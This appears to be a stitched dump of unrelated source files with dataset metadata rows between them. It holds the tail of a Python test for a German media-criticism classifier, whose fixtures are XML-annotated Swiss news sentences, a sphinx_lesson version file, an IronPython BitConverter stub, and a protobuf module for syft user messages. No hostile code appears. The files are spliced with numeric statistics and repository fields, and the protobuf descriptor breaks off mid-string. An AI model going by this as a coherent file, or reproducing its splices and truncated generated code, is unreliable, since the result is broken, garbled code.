20 21 11 1\" wl:token=\"0,8 9,13 14,16 17,21 22,25 26,31 32,37 37,38 39,41 42,45 46,52 53,57 58,61 62,65 66,72 73,86 87,93 94,97 98,108 109,117 118,120 121,127 127,128\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Folglich muss er oder sie damit leben, an den selbst oder von der Partei proklamierten Werten und Massstäben gemessen zu werden.]]></wl:sentence><wl:sentence wl:id=\"43cbdce9361e05999a4a7704c065ed96\" wl:pos=\"NE NE $, ART ADJA ADJA ADJA NN ART NN $, VAFIN PPER APPR ART PPER ADJA NN ADV ADV VVPP $. XY VMFIN ADV ADJD VVFIN $.\" wl:dependency=\"1 -1 3 1 5 6 7 8 9 1 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 1 1 1\" wl:token=\"0,7 8,14 14,15 16,19 20,27 28,44 45,52 53,67 68,71 72,86 86,87 88,91 92,94 95,98 99,102 103,106 107,114 115,123 124,130 131,133 134,144 144,145 146,147 148,151 152,158 159,163 164,172 172,173\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Sigmund Widmer, ein anderer leistungsstarker Zürcher Stadtpolitiker der Nachkriegszeit, hat es mit dem ihm eigenen Instinkt einmal so formuliert: S mag äifach nüüt verliide.]]></wl:sentence><wl:sentence wl:id=\"9c837483a23d16afbe568be672517b3c\" wl:pos=\"PPER VVFIN PROAV $. ADV ADV ART NN ART ADJA NN VAFIN PTKZU VVINF $.\" wl:dependency=\"1 -1 3 4 1 6 1 8 9 10 11 12 13 1 -1\" wl:token=\"0,2 3,9 10,15 15,16 17,21 22,25 26,29 30,35 36,41 42,47 48,57 58,61 62,64 65,74 74,75\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Er meinte damit: Auch nur der Hauch eines bösen Anscheins ist zu vermeiden.]]></wl:sentence><wl:sentence wl:id=\"3a627be08b81a9d544d1f9856f7dea2c\" wl:pos=\"VVFIN NE NE PDAT ADJA NN VVFIN $, VAFIN PPER ADV ADV NN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 1 1 1\" wl:token=\"0,5 6,13 14,24 25,30 31,39 40,45 46,53 53,54 55,59 60,62 63,68 69,73 74,95 95,96\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Hätte Philipp Hildebrand diese einfache Regel befolgt, wäre er heute noch Nationalbankpräsident.]]></wl:sentence><wl:sentence wl:id=\"eeca7bfa7a830379a3b25cded64a7a6f\" wl:pos=\"ADV NE NE VAFIN APPR NN KON NN VVINF VMINF $, PRELS PRF APPR ADJD KON ADJD VVPP VAFIN $.\" wl:dependency=\"1 -1 3 4 5 6 1 8 9 1 1 12 13 14 15 1 17 1 19 1\" wl:token=\"0,4 5,11 12,23 24,27 28,31 32,41 42,45 46,54 55,60 61,67 67,68 69,72 73,77 78,81 82,91 92,95 96,105 106,114 115,120 120,121\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Auch Martin Vollenwyder hat mit Angriffen und Kritiken leben müssen, die sich als kleinlich und ungerecht erwiesen haben.]]></wl:sentence><wl:sentence wl:id=\"d06dfa697dea236c5e3e7301240876c5\" wl:pos=\"KON PPER VAFIN ADJD $.\" wl:dependency=\"1 -1 3 1 -1\" wl:token=\"0,4 5,8 9,14 15,28 28,29\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Aber sie waren unvermeidlich.]]></wl:sentence><wl:sentence wl:id=\"1d4d5f6a26d02d5ec7cfe69555de93d6\" wl:pos=\"NN VVFIN PRF APPR NN $, NN NE $. ADV PROAV $, KOUS PPER PTKNEG ADV APPR ART NN APPR NN VVFIN $, KON ART ADJA NN APPR ART NN VVFIN $, PRELS PTKNEG PROAV VVFIN $, ART NN APPR ART NN PTKZU VVINF $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 1 8 1 1 13 14 15 16 17 18 19 20 21 1 1 1 25 26 27 28 29 30 1 1 33 34 35 1 1 38 39 40 1 42 43 40 -1\" wl:token=\"0,7 8,21 22,26 27,30 31,41 41,42 43,49 50,53 53,54 55,59 60,67 67,68 69,73 74,77 78,83 84,87 88,91 92,97 98,103 104,107 108,117 118,125 125,126 127,134 135,138 139,147 148,166 167,170 171,174 175,181 182,194 194,195 196,199 200,205 206,211 212,217 217,218 219,222 223,228 229,232 233,236 237,243 244,246 247,254 254,255\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Politik unterscheidet sich von Wirtschaft, Kultur usw. eben dadurch, dass sie nicht nur aus einer Serie von Projekten besteht, sondern die ständige Auseinandersetzung mit dem Gegner einschliesst, der nicht daran denkt, die Sache von der Person zu trennen.]]></wl:sentence><wl:sentence wl:id=\"912698b6fc7db434e54bdd0c09b66a44\" wl:pos=\"PIDAT ADJA NN VVFIN APPR ART NN $, PRELS PPER VVFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 1 1 1\" wl:token=\"0,5 6,16 17,23 24,32 33,36 37,40 41,49 49,50 51,54 55,57 58,67 67,68\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Jeder politische Gegner schiesst mit der Munition, die er vorfindet.]]></wl:sentence><wl:sentence wl:id=\"326aadb759e32643370c0b4e79d04ad6\" wl:pos=\"NE ADJA NN NE NE VAFIN PPER VVINF VMFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 1 1 1\" wl:token=\"0,12 13,23 24,41 42,47 48,53 54,57 58,60 61,68 69,75 75,76\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Vollenwyders glückloser Nachfolgekandidat Marco Camin hat es erleben müssen.]]></wl:sentence><wl:sentence wl:id=\"5f3cbb928e4ae6d4fa3699ab297d4f84\" wl:pos=\"PPER VAFIN ADJD $, KOUS NE NE ART ADJA NN VVPP VAFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 1 -1\" wl:token=\"0,2 3,6 7,10 10,11 12,16 17,23 24,35 36,41 42,51 52,59 60,71 72,75 75,76\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Es ist gut, dass Martin Vollenwyder einen spontanen Rülpser abgesondert hat.]]></wl:sentence><wl:sentence wl:id=\"e3f2be68b3a0852e9350f87136c13508\" wl:pos=\"APPR ADJA NN VAFIN PPER ADJD VVINF $, PRELS PPER APPR ADJA NN CARD NN ADJD VVPP VAFIN $. ART NN APPR NN VVINF $.\" wl:dependency=\"1 -1 3 4 5 6 7 1 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1 1 1\" wl:token=\"0,3 4,12 13,24 25,29 30,32 33,39 40,43 43,44 45,48 49,51 52,55 56,67 68,82 83,86 87,92 93,104 105,110 111,114 114,115 116,119 120,125 126,128 129,133 134,140 140,141\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Bei nächster Gelegenheit wird er sicher tun, was er als städtischer Finanzminister elf Jahre erfolgreich getan hat: die Dinge zu Ende denken.]]></wl:sentence></wl:page>"},
{"is_relevant": True, "is_mediacriticism": True, "has_entities": False,
"doc": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><wl:page xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:wl=\"http://www.weblyzard.com/wl/2013#\" xml:lang=\"de\"><wl:sentence wl:id=\"c22823decb996de492c41461506f385c\" wl:pos=\"ADJD NE NN VVFIN APPR NE NE ART CARD NN CARD NN CARD ADJA NE NE NE $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 15 1 1 1\" wl:token=\"3,13 14,21 22,29 30,35 36,40 41,52 53,59 60,63 65,68 69,74 75,77 78,84 85,89 90,93 94,100 101,109 111,117 117,118\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[ schauplatz Manilas Polizei räumt nach Geiseldrama Fehler ein 153 words 25 August 2010 St. Galler Tagblatt Manila.]]></wl:sentence><wl:sentence wl:id=\"9805d2681624dee8f4d9d361df20f280\" wl:pos=\"APPR ART ADJA NN ART NN APPR NE APPR CARD ADJA NN APPR NE VAFIN ART ADJA NN NE VVPP $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1 1 1\" wl:token=\"0,4 5,8 9,17 18,22 23,26 27,39 40,42 43,49 50,53 54,58 59,64 65,74 75,78 79,87 88,91 92,95 96,110 111,122 123,129 130,140 140,141\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Nach dem blutigen Ende des Geiseldramas in Manila mit acht toten Touristen aus Hongkong hat der philippinische Polizeichef Fehler eingeräumt.]]></wl:sentence><wl:sentence wl:id=\"5551783516c3805146506fd43e3f0564\" wl:pos=\"ADV VAFIN ART NN ART ADJA NN VVFIN $, ADV VAFIN ADJA NN APPR ART NN KON ART ADJA NN PTKZU VVINF VAPP $, VVFIN NN NE NE APPRART NN $.\" wl:dependency=\"1 2 -1 4 5 6 7 8 9 10 11 12 13 14 15 16 2 18 19 20 21 22 2 2 25 26 27 28 2 2 2\" wl:token=\"0,4 5,9 10,13 14,21 22,25 26,35 36,53 54,62 62,63 64,71 72,77 78,83 84,90 91,103 104,107 108,126 127,130 131,134 135,146 147,153 154,156 157,165 166,173 173,174 175,180 181,196 197,205 206,214 215,217 218,227 227,228\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Zwar habe die Polizei die richtigen Einsatzleitlinien verfolgt, dennoch seien klare Mängel hinsichtlich der Leistungsfähigkeit und der verwendeten Taktik zu erkennen gewesen, sagte Polizeidirektor Leocadio Santiago am Fernsehen.]]></wl:sentence><wl:sentence wl:id=\"9cb8d8cbe62f604a7c4fb1808dc17796\" wl:pos=\"PDS VMFIN ADV ADV VVPP VAINF $.\" wl:dependency=\"1 -1 1 1 1 1 1\" wl:token=\"0,4 5,10 11,14 15,21 22,31 32,38 38,39\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Dies müsse nun weiter überprüft werden.]]></wl:sentence><wl:sentence wl:id=\"f238694b5abab3ac426e4c18cf9440f3\" wl:pos=\"ART NN VAFIN PRF APPRART NN ART NN VVPP $, KOUS ART ADJA NN VVPP VAFIN $, KOUS ART NN PIDAT NN VVINF VMFIN $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1 1 1\" wl:token=\"0,3 4,11 12,16 17,21 22,25 26,36 37,40 41,47 48,59 59,60 61,68 69,72 73,83 84,90 91,100 101,105 105,106 107,111 112,115 116,125 126,130 131,138 139,144 145,150 150,151\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Die Polizei habe sich zur Erstürmung des Busses entschieden, nachdem der entkommene Fahrer berichtet habe, dass der Kidnapper alle Geiseln töten wolle.]]></wl:sentence><wl:sentence wl:id=\"9c1d45e4a8cd58971be3b03bda4715df\" wl:pos=\"ART ADJD ADJA ADJA NN VAFIN APPRART NN APPR NE ART NN APPR CARD NN KON CARD NN KON ART NN APPR NE APPR PPOSAT NN VVPP $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1 20 1 22 23 24 25 1 1 1\" wl:token=\"0,3 4,10 11,22 23,33 34,42 43,48 49,51 52,58 59,61 62,68 69,74 75,87 88,91 92,93 94,106 107,112 113,115 116,125 126,129 130,135 136,147 148,151 152,160 161,163 164,169 170,176 177,185 185,186\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Ein schwer bewaffneter ehemaliger Polizist hatte am Montag in Manila einen Touristenbus mit 4 Philippinern sowie 20 Touristen und einem Reiseleiter aus Hongkong in seine Gewalt gebracht.]]></wl:sentence><wl:sentence wl:id=\"17b1a1b50c7d5c3b51ae3e8394549559\" wl:pos=\"ART APPR ART ADJA NN ADJA NN VMFIN PPOSAT NN APPR ART NN VVINF $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 12 1 1 1\" wl:token=\"0,3 4,9 10,15 16,24 25,39 40,50 51,55 56,62 63,68 69,86 87,89 90,93 94,107 108,117 117,118\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Der wegen eines schweren Fehlverhaltens entlassene Mann wollte seine Wiedereinstellung in den Polizeidienst erreichen.]]></wl:sentence><wl:sentence wl:id=\"4d140f1f6f15d33e6d4ae2aa6910817b\" wl:pos=\"APPR ADJA NN VAFIN PPER ADJD APPR NN VVPP $.\" wl:dependency=\"1 -1 3 4 5 6 7 1 1 1\" wl:token=\"0,4 5,18 19,30 31,36 37,39 40,52 53,56 57,71 72,82 82,83\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Nach zehnstündigem Nervenkrieg wurde er schliesslich von Einsatzkräften erschossen.]]></wl:sentence><wl:sentence wl:id=\"de2dda0a6e7b2d7d80dff5de778daf16\" wl:pos=\"ADV CARD NN APPR NE VVFIN APPRART NN $, CARD ADJA VAFIN VVPP $.\" wl:dependency=\"1 -1 3 4 5 6 7 8 9 10 11 1 1 1\" wl:token=\"0,4 5,9 10,18 19,22 23,31 32,39 40,42 43,53 53,54 55,61 62,69 70,76 77,85 85,86\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[Auch acht Urlauber aus Hongkong starben im Kugelhagel, sieben weitere wurden verletzt.]]></wl:sentence><wl:sentence wl:id=\"616e80c6405c6b66c21c7f87b0c2c661\" wl:pos=\"( NE )\" wl:dependency=\"1 -1 1\" wl:token=\"0,1 1,4 4,5\" wl:sem_orient=\"0.0\" wl:significance=\"0.0\"><![CDATA[(sda)]]></wl:sentence></wl:page>"},
]
def test_submit_classify(self):
# 2. step: send processed document to the classifier
media_criticism = MediaCriticism()
for num, document in enumerate(self.EXAMPLE_DOCUMENTS):
print("Testing the %d document" % (num + 1))
is_relevant, mediacriticism_score, num_entities = media_criticism.check_domain_relevance(
document['doc'])
assert is_relevant == document['is_relevant']
if document['is_mediacriticism']:
assert mediacriticism_score >= 0.4
else:
assert mediacriticism_score < 0.4
assert (num_entities > 0) == document['has_entities']
if __name__ == '__main__':
unittest.main()
| 517.27907
| 9,023
| 0.701569
| 4,514
| 22,243
| 3.438414
| 0.173682
| 0.015849
| 0.063398
| 0.036982
| 0.362734
| 0.329489
| 0.256878
| 0.237098
| 0.208685
| 0.200052
| 0
| 0.26219
| 0.141618
| 22,243
| 42
| 9,024
| 529.595238
| 0.550516
| 0.007733
| 0
| 0
| 0
| 1.333333
| 0.431213
| 0.074113
| 0
| 0
| 0
| 0
| 0.148148
| 1
| 0.037037
| false
| 0
| 0.148148
| 0
| 0.259259
| 0.074074
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0a5ca3c087285600b222812b39587ee8d43db6e8
| 23
|
py
|
Python
|
sphinx_lesson/_version.py
|
coderefinery/sphinx-test-lesson
|
040851d3fdb59b9b60a7b8b28c204d2b3609dc7f
|
[
"MIT"
] | null | null | null |
sphinx_lesson/_version.py
|
coderefinery/sphinx-test-lesson
|
040851d3fdb59b9b60a7b8b28c204d2b3609dc7f
|
[
"MIT"
] | null | null | null |
sphinx_lesson/_version.py
|
coderefinery/sphinx-test-lesson
|
040851d3fdb59b9b60a7b8b28c204d2b3609dc7f
|
[
"MIT"
] | null | null | null |
__version__ = '0.8.12'
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6a59b4abde93fc8c0287389517c0087b514ff7f7
| 9,573
|
py
|
Python
|
release/stubs.min/System/__init___parts/BitConverter.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
release/stubs.min/System/__init___parts/BitConverter.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
release/stubs.min/System/__init___parts/BitConverter.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
class BitConverter(object):
""" Converts base data types to an array of bytes,and an array of bytes to base data types. """
@staticmethod
def DoubleToInt64Bits(value):
"""
DoubleToInt64Bits(value: float) -> Int64
Converts the specified double-precision floating point number to a 64-bit signed integer.
value: The number to convert.
Returns: A 64-bit signed integer whose value is equivalent to value.
"""
pass
@staticmethod
def GetBytes(value):
"""
GetBytes(value: UInt32) -> Array[Byte]
Returns the specified 32-bit unsigned integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 4.
GetBytes(value: UInt16) -> Array[Byte]
Returns the specified 16-bit unsigned integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 2.
GetBytes(value: UInt64) -> Array[Byte]
Returns the specified 64-bit unsigned integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 8.
GetBytes(value: float) -> Array[Byte]
Returns the specified double-precision floating point value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 8.
GetBytes(value: Single) -> Array[Byte]
Returns the specified single-precision floating point value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 4.
GetBytes(value: Char) -> Array[Byte]
Returns the specified Unicode character value as an array of bytes.
value: A character to convert.
Returns: An array of bytes with length 2.
GetBytes(value: bool) -> Array[Byte]
Returns the specified Boolean value as an array of bytes.
value: A Boolean value.
Returns: An array of bytes with length 1.
GetBytes(value: Int16) -> Array[Byte]
Returns the specified 16-bit signed integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 2.
GetBytes(value: Int64) -> Array[Byte]
Returns the specified 64-bit signed integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 8.
GetBytes(value: int) -> Array[Byte]
Returns the specified 32-bit signed integer value as an array of bytes.
value: The number to convert.
Returns: An array of bytes with length 4.
"""
pass
@staticmethod
def Int64BitsToDouble(value):
"""
Int64BitsToDouble(value: Int64) -> float
Converts the specified 64-bit signed integer to a double-precision floating point number.
value: The number to convert.
Returns: A double-precision floating point number whose value is equivalent to value.
"""
pass
@staticmethod
def ToBoolean(value, startIndex):
"""
ToBoolean(value: Array[Byte],startIndex: int) -> bool
Returns a Boolean value converted from one byte at a specified position in a byte array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: true if the byte at startIndex in value is nonzero; otherwise,false.
"""
pass
@staticmethod
def ToChar(value, startIndex):
"""
ToChar(value: Array[Byte],startIndex: int) -> Char
Returns a Unicode character converted from two bytes at a specified position in a byte array.
value: An array.
startIndex: The starting position within value.
Returns: A character formed by two bytes beginning at startIndex.
"""
pass
@staticmethod
def ToDouble(value, startIndex):
"""
ToDouble(value: Array[Byte],startIndex: int) -> float
Returns a double-precision floating point number converted from eight bytes at a specified
position in a byte array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A double precision floating point number formed by eight bytes beginning at startIndex.
"""
pass
@staticmethod
def ToInt16(value, startIndex):
"""
ToInt16(value: Array[Byte],startIndex: int) -> Int16
Returns a 16-bit signed integer converted from two bytes at a specified position in a byte array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A 16-bit signed integer formed by two bytes beginning at startIndex.
"""
pass
@staticmethod
def ToInt32(value, startIndex):
"""
ToInt32(value: Array[Byte],startIndex: int) -> int
Returns a 32-bit signed integer converted from four bytes at a specified position in a byte
array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A 32-bit signed integer formed by four bytes beginning at startIndex.
"""
pass
@staticmethod
def ToInt64(value, startIndex):
"""
ToInt64(value: Array[Byte],startIndex: int) -> Int64
Returns a 64-bit signed integer converted from eight bytes at a specified position in a byte
array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A 64-bit signed integer formed by eight bytes beginning at startIndex.
"""
pass
@staticmethod
def ToSingle(value, startIndex):
"""
ToSingle(value: Array[Byte],startIndex: int) -> Single
Returns a single-precision floating point number converted from four bytes at a specified
position in a byte array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A single-precision floating point number formed by four bytes beginning at startIndex.
"""
pass
@staticmethod
def ToString(value=None, startIndex=None, length=None):
"""
ToString(value: Array[Byte],startIndex: int) -> str
Converts the numeric value of each element of a specified subarray of bytes to its equivalent
hexadecimal string representation.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A string of hexadecimal pairs separated by hyphens,where each pair represents the corresponding
element in a subarray of value; for example,"7F-2C-4A-00".
ToString(value: Array[Byte]) -> str
Converts the numeric value of each element of a specified array of bytes to its equivalent
hexadecimal string representation.
value: An array of bytes.
Returns: A string of hexadecimal pairs separated by hyphens,where each pair represents the corresponding
element in value; for example,"7F-2C-4A-00".
ToString(value: Array[Byte],startIndex: int,length: int) -> str
Converts the numeric value of each element of a specified subarray of bytes to its equivalent
hexadecimal string representation.
value: An array of bytes.
startIndex: The starting position within value.
length: The number of array elements in value to convert.
Returns: A string of hexadecimal pairs separated by hyphens,where each pair represents the corresponding
element in a subarray of value; for example,"7F-2C-4A-00".
"""
pass
@staticmethod
def ToUInt16(value, startIndex):
"""
ToUInt16(value: Array[Byte],startIndex: int) -> UInt16
Returns a 16-bit unsigned integer converted from two bytes at a specified position in a byte
array.
value: The array of bytes.
startIndex: The starting position within value.
Returns: A 16-bit unsigned integer formed by two bytes beginning at startIndex.
"""
pass
@staticmethod
def ToUInt32(value, startIndex):
"""
ToUInt32(value: Array[Byte],startIndex: int) -> UInt32
Returns a 32-bit unsigned integer converted from four bytes at a specified position in a byte
array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A 32-bit unsigned integer formed by four bytes beginning at startIndex.
"""
pass
@staticmethod
def ToUInt64(value, startIndex):
"""
ToUInt64(value: Array[Byte],startIndex: int) -> UInt64
Returns a 64-bit unsigned integer converted from eight bytes at a specified position in a byte
array.
value: An array of bytes.
startIndex: The starting position within value.
Returns: A 64-bit unsigned integer formed by the eight bytes beginning at startIndex.
"""
pass
IsLittleEndian = True
__all__ = [
"DoubleToInt64Bits",
"GetBytes",
"Int64BitsToDouble",
"IsLittleEndian",
"ToBoolean",
"ToChar",
"ToDouble",
"ToInt16",
"ToInt32",
"ToInt64",
"ToSingle",
"ToString",
"ToUInt16",
"ToUInt32",
"ToUInt64",
]
| 20.455128
| 109
| 0.639507
| 1,178
| 9,573
| 5.193548
| 0.10017
| 0.042334
| 0.06865
| 0.075515
| 0.807617
| 0.741746
| 0.676855
| 0.601831
| 0.585159
| 0.569467
| 0
| 0.020623
| 0.295936
| 9,573
| 467
| 110
| 20.498929
| 0.887092
| 0.741878
| 0
| 0.459016
| 0
| 0
| 0.093645
| 0
| 0
| 0
| 0
| 0.004283
| 0
| 1
| 0.229508
| false
| 0.229508
| 0
| 0
| 0.278689
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
6a79e82fe056b13b4200ea9a941286aba916cc37
| 6,306
|
py
|
Python
|
packages/syft/src/syft/proto/grid/messages/user_messages_pb2.py
|
jackbandy/PySyft
|
0e20e90abab6a7a7ca672d6eedfa1e7f83c4981b
|
[
"Apache-2.0"
] | null | null | null |
packages/syft/src/syft/proto/grid/messages/user_messages_pb2.py
|
jackbandy/PySyft
|
0e20e90abab6a7a7ca672d6eedfa1e7f83c4981b
|
[
"Apache-2.0"
] | null | null | null |
packages/syft/src/syft/proto/grid/messages/user_messages_pb2.py
|
jackbandy/PySyft
|
0e20e90abab6a7a7ca672d6eedfa1e7f83c4981b
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: proto/grid/messages/user_messages.proto
"""Generated protocol buffer code."""
# third party
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
# syft absolute
from syft.proto.core.common import (
common_object_pb2 as proto_dot_core_dot_common_dot_common__object__pb2,
)
from syft.proto.core.io import address_pb2 as proto_dot_core_dot_io_dot_address__pb2
from syft.proto.lib.python import dict_pb2 as proto_dot_lib_dot_python_dot_dict__pb2
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(
b'\n\'proto/grid/messages/user_messages.proto\x12\x12syft.grid.messages\x1a%proto/core/common/common_object.proto\x1a\x1bproto/core/io/address.proto\x1a\x1bproto/lib/python/dict.proto"\x8f\x02\n\x11\x43reateUserMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\r\n\x05\x65mail\x18\x03 \x01(\t\x12\x10\n\x08password\x18\x04 \x01(\t\x12\x0c\n\x04role\x18\x05 \x01(\t\x12\x0c\n\x04name\x18\x06 \x01(\t\x12\x0f\n\x07website\x18\t \x01(\t\x12\x13\n\x0binstitution\x18\n \x01(\t\x12\x0f\n\x07\x64\x61\x61_pdf\x18\x0b \x01(\x0c\x12\'\n\x08reply_to\x18\x0c \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0e\n\x06\x62udget\x18\r \x01(\x01"\x99\x01\n\x0eGetUserMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07user_id\x18\x03 \x01(\x05\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\xbb\x01\n\x1bProcessUserCandidateMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x14\n\x0c\x63\x61ndidate_id\x18\x02 \x01(\x05\x12\x0e\n\x06status\x18\x03 \x01(\t\x12&\n\x07\x61\x64\x64ress\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address\x12\'\n\x08reply_to\x18\x05 \x01(\x0b\x32\x15.syft.core.io.Address"\x88\x01\n\x0fGetUserResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x63ontent\x18\x02 \x01(\x0b\x32\x15.syft.lib.python.Dict\x12&\n\x07\x61\x64\x64ress\x18\x03 \x01(\x0b\x32\x15.syft.core.io.Address"\x8e\x01\n\x14GetCandidatesMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x8e\x01\n\x15GetCandidatesResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x63ontent\x18\x02 \x03(\x0b\x32\x15.syft.lib.python.Dict\x12&\n\x07\x61\x64\x64ress\x18\x03 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x0fGetUsersMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x89\x01\n\x10GetUsersResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x63ontent\x18\x02 \x03(\x0b\x32\x15.syft.lib.python.Dict\x12&\n\x07\x61\x64\x64ress\x18\x03 \x01(\x0b\x32\x15.syft.core.io.Address"\x9c\x01\n\x11\x44\x65leteUserMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07user_id\x18\x03 \x01(\x05\x12\'\n\x08reply_to\x18\x04 \x01(\x0b\x32\x15.syft.core.io.Address"\x9f\x02\n\x11UpdateUserMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\x0f\n\x07user_id\x18\x03 \x01(\x05\x12\r\n\x05\x65mail\x18\x04 \x01(\t\x12\x10\n\x08password\x18\x05 \x01(\t\x12\x0c\n\x04role\x18\x06 \x01(\t\x12\x0e\n\x06groups\x18\x07 \x01(\t\x12\x0c\n\x04name\x18\x08 \x01(\t\x12\x0e\n\x06\x62udget\x18\t 